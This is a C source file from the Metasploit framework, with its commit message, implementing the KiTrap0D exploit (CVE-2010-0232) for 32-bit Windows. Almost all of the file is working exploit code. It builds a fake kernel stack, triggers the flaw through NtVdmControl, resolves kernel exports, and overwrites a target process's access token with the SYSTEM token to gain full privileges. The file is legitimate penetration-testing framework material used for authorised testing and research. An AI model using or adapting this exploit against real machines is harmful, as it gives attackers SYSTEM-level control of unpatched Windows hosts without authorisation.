Files
metasploit-gs/external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d.c
T
OJ 506a4d9e67 Remove genericity, x64 and renamed stuff
As per discussion on the github issue, the following changes were made:

* Project renamed from elevate to kitrap0d, implying that this is not
  intended to be a generic local priv esc exploit container.
* Container DLL no longer generic, always calls the kitrap0d exploit.
* Removal of all x64 code and project configurations.
* Invocation of the exploit changed so that the address of the payload
  is passed in to the exploit entry point. The exploit is now responsible
  for executing the payload if the exploit is successful. This removes
  the possibility of the payload getting executed when the exploit fails.
* Source moved to the appropriate CVE folder.
* Binary moved to the appropriate CVE folder.
* Little bit of source rejigging to tidy things up.
2013-11-14 12:22:53 +10:00

369 lines
12 KiB
C

/*!
* @file kitrap0d.c
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
*/
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <stdio.h>
#include "../common/common.h"
#include "kitrap0d.h"
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#ifdef _WIN64
/*
* This is not implemented for the x64 build.
*/
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
{
return;
}
#else
/*! * @brief Global target process ID. */
static DWORD dwTargetProcessId = 0;
/*! * @brief Global pointer to the kernel stack. */
static DWORD * lpKernelStackPointer = NULL;
/*! * @brief Global reference to the kernel itself. */
static HMODULE hKernel = NULL;
/*!
* @brief Find an exported kernel symbol by name.
* @param SymbolName The name of the symbol to find.
* @returns Pointer to the symbol, if found.
*/
PVOID elevator_kitrap0d_kernelgetproc(PSTR SymbolName)
{
PUCHAR ImageBase = NULL;
PULONG NameTable = NULL;
PULONG FunctionTable = NULL;
PUSHORT OrdinalTable = NULL;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS PeHeader = NULL;
DWORD i = 0;
ImageBase = (PUCHAR)hKernel;
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + PeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// Find required tables from the ExportDirectory...
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
// Scan each entry for a matching name.
for (i = 0; i < ExportDirectory->NumberOfNames; i++)
{
PCHAR Symbol = ImageBase + NameTable[i];
if (strcmp(Symbol, SymbolName) == 0)
{
// Symbol found, return the appropriate entry from FunctionTable.
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
}
}
// Symbol not found, this is likely fatal :-(
return NULL;
}
/*!
* @brief Replace a value if it falls between a given range.
*/
BOOL elevator_kitrap0d_checkandreplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value)
{
if (*checkMe >= rangeStart && *checkMe <= rangeEnd)
{
*checkMe = value;
return TRUE;
}
return FALSE;
}
/*!
* @brief Search the specified data structure for a member with CurrentValue.
*/
BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize, BOOL ObjectRefs)
{
DWORD i = 0;
DWORD Mask = 0;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting (nice trick).
Mask = ObjectRefs ? ~7 : ~0;
// Mask out the reference count.
CurrentValue &= Mask;
// Scan the structure for any occurrence of CurrentValue.
for( i = 0 ; i < MaxSize ; i++ )
{
if( (Structure[i] & Mask) == CurrentValue )
{
// And finally, replace it with NewValue.
Structure[i] = NewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
/*!
* @brief This routine is where we land after successfully triggering the vulnerability.
*/
#pragma warning(disable: 4731)
VOID elevator_kitrap0d_firststage(VOID)
{
FARPROC DbgPrint = NULL;
FARPROC PsGetCurrentThread = NULL;
FARPROC PsGetCurrentThreadStackBase = NULL;
FARPROC PsGetCurrentThreadStackLimit = NULL;
FARPROC PsLookupProcessByProcessId = NULL;
FARPROC PsReferencePrimaryToken = NULL;
FARPROC ZwTerminateProcess = NULL;
PVOID CurrentThread = NULL;
PVOID TargetProcess = NULL;
PVOID * PsInitialSystemProcess = NULL;
HANDLE pret = NULL;
DWORD StackBase = 0;
DWORD StackLimit = 0;
DWORD NewStack = 0;
DWORD i = 0;
DWORD dwEThreadOffsets[] = {
0x6, // WinXP SP3, VistaSP2
0xA // Windows 7, VistaSP1
};
// Keep interrupts off until we've repaired the KTHREAD.
__asm cli
// Resolve some routines we need from the kernel export directory
DbgPrint = elevator_kitrap0d_kernelgetproc("DbgPrint");
PsGetCurrentThread = elevator_kitrap0d_kernelgetproc("PsGetCurrentThread");
PsGetCurrentThreadStackBase = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackBase");
PsGetCurrentThreadStackLimit = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackLimit");
PsInitialSystemProcess = elevator_kitrap0d_kernelgetproc("PsInitialSystemProcess");
PsLookupProcessByProcessId = elevator_kitrap0d_kernelgetproc("PsLookupProcessByProcessId");
PsReferencePrimaryToken = elevator_kitrap0d_kernelgetproc("PsReferencePrimaryToken");
ZwTerminateProcess = elevator_kitrap0d_kernelgetproc("ZwTerminateProcess");
CurrentThread = (PVOID)PsGetCurrentThread();
StackLimit = (DWORD)PsGetCurrentThreadStackLimit();
StackBase = (DWORD)PsGetCurrentThreadStackBase();
NewStack = StackBase - ((StackBase - StackLimit) / 2);
// First we need to repair the CurrentThread, find all references to the fake kernel
// stack and repair them. Note that by "repair" we mean randomly point them
// somewhere inside the real stack.
// Walk only the offsets that could possibly be bad based on testing, and see if they need
// to be swapped out. O(n^2) -> O(c) wins the race!
for (i = 0; i < sizeof(dwEThreadOffsets) / sizeof (DWORD); i++) {
elevator_kitrap0d_checkandreplace((((PDWORD)CurrentThread) + dwEThreadOffsets[i]), (DWORD)&lpKernelStackPointer[0], (DWORD)&lpKernelStackPointer[KSTACKSIZE - 1], (DWORD)NewStack);
}
// Find the EPROCESS structure for the process we want to escalate
if (PsLookupProcessByProcessId(dwTargetProcessId, &TargetProcess) == STATUS_SUCCESS)
{
PACCESS_TOKEN SystemToken = NULL;
PACCESS_TOKEN TargetToken = NULL;
// What's the maximum size the EPROCESS structure is ever likely to be?
CONST DWORD MaxExpectedEprocessSize = 0x200;
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
// Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN)PsReferencePrimaryToken(TargetProcess);
SystemToken = (PACCESS_TOKEN)PsReferencePrimaryToken(*PsInitialSystemProcess);
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
// Find the token in the target process, and replace with the system token.
elevator_kitrap0d_findandreplace((PDWORD)TargetProcess, (DWORD)TargetToken, (DWORD)SystemToken, MaxExpectedEprocessSize, TRUE);
// Success
pret = (HANDLE)'w00t';
}
else
{
// Maybe the user closed the window?
// Report this failure
pret = (HANDLE)'LPID';
}
__asm
{
mov eax, -1 // ZwCurrentProcess macro returns -1
mov ebx, NewStack
mov ecx, pret
mov edi, ZwTerminateProcess
mov esp, ebx // Swap the stack back to kernel-land
mov ebp, ebx // Swap the frame pointer back to kernel-land
sub esp, 256
push ecx // Push the return code
push eax // Push the process handle
sti // Restore interrupts finally
call edi // Call ZwTerminateProcess
__emit 0xCC; // Hope we never end up here
};
}
#pragma warning(default: 4731)
/*!
* @brief Setup a minimal execution environment to satisfy NtVdmControl().
*/
BOOL elevator_kitrap0d_initvdmsubsystem(VOID)
{
DWORD dwResult = ERROR_SUCCESS;
FARPROC pNtAllocateVirtualMemory = NULL;
FARPROC pNtFreeVirtualMemory = NULL;
FARPROC pNtVdmControl = NULL;
PBYTE BaseAddress = (PVOID)0x00000001;
HMODULE hNtdll = NULL;
ULONG RegionSize = 0;
static DWORD TrapHandler[128] = { 0 };
static DWORD IcaUserData[128] = { 0 };
static struct {
PVOID TrapHandler;
PVOID IcaUserData;
} InitData;
do
{
hNtdll = GetModuleHandle("ntdll");
if (!hNtdll) {
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);
}
pNtAllocateVirtualMemory = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
pNtFreeVirtualMemory = GetProcAddress(hNtdll, "NtFreeVirtualMemory");
pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");
if (!pNtAllocateVirtualMemory || !pNtFreeVirtualMemory || !pNtVdmControl) {
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. invalid params", ERROR_INVALID_PARAMETER);
}
InitData.TrapHandler = TrapHandler;
InitData.IcaUserData = IcaUserData;
// Remove anything currently mapped at NULL
pNtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
BaseAddress = (PVOID)0x00000001;
RegionSize = (ULONG)0x00100000;
// Allocate the 1MB virtual 8086 address space.
if (pNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtAllocateVirtualMemory failed", 'NTAV');
}
// Finalise the initialisation.
if (pNtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtVdmControl failed", 'VDMC');
}
return TRUE;
} while (0);
ExitThread(dwResult);
return FALSE;
}
/*!
* @brief CVE-2010-0232 implementation.
*/
VOID elevator_kitrap0d(DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset)
{
DWORD dwResult = ERROR_SUCCESS;
FARPROC pNtVdmControl = NULL;
HMODULE hNtdll = NULL;
DWORD dwKernelStack[KSTACKSIZE] = { 0 };
VDMTIB VdmTib = { 0 };
DWORD dwMinimumExpectedVdmTibSize = 0x200;
DWORD dwMaximumExpectedVdmTibSize = 0x800;
do
{
dprintf("[KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset);
memset(&VdmTib, 0, sizeof(VDMTIB));
memset(&dwKernelStack, 0, KSTACKSIZE * sizeof(DWORD));
// XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk.
// With a buffer full of NULLs, the exploit never finds the right size.
// This will require a more work to resolve, for just keep the padding zero'd
hNtdll = GetModuleHandle("ntdll");
if (!hNtdll) {
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);
}
pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");
if (!pNtVdmControl) {
BREAK_ON_ERROR("[KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed");
}
dwTargetProcessId = dwProcessId;
// Setup the fake kernel stack, and install a minimal VDM_TIB...
lpKernelStackPointer = (DWORD *)&dwKernelStack;
dwKernelStack[0] = (DWORD)&dwKernelStack[8]; // ESP
dwKernelStack[1] = (DWORD)NtCurrentTeb(); // TEB
dwKernelStack[2] = (DWORD)NtCurrentTeb(); // TEB
dwKernelStack[7] = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS
hKernel = (HMODULE)dwKernelBase;
VdmTib.Size = dwMinimumExpectedVdmTibSize;
*NtCurrentTeb()->Reserved4 = &VdmTib;
// Initialize the VDM Subsystem...
elevator_kitrap0d_initvdmsubsystem();
VdmTib.Size = dwMinimumExpectedVdmTibSize;
VdmTib.VdmContext.SegCs = 0x0B;
VdmTib.VdmContext.Esi = (DWORD)&dwKernelStack;
VdmTib.VdmContext.Eip = dwKernelBase + dwOffset;
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
*NtCurrentTeb()->Reserved4 = &VdmTib;
// Allow thread initialization to complete. Without is, there is a chance
// of a race in KiThreadInitialize's call to SwapContext
Sleep(1000);
// Trigger the vulnerable code via NtVdmControl()...
while (VdmTib.Size++ < dwMaximumExpectedVdmTibSize) {
pNtVdmControl(VdmStartExecution, NULL);
}
} while (0);
// Unable to find correct VdmTib size.
ExitThread('VTIB');
}
#endif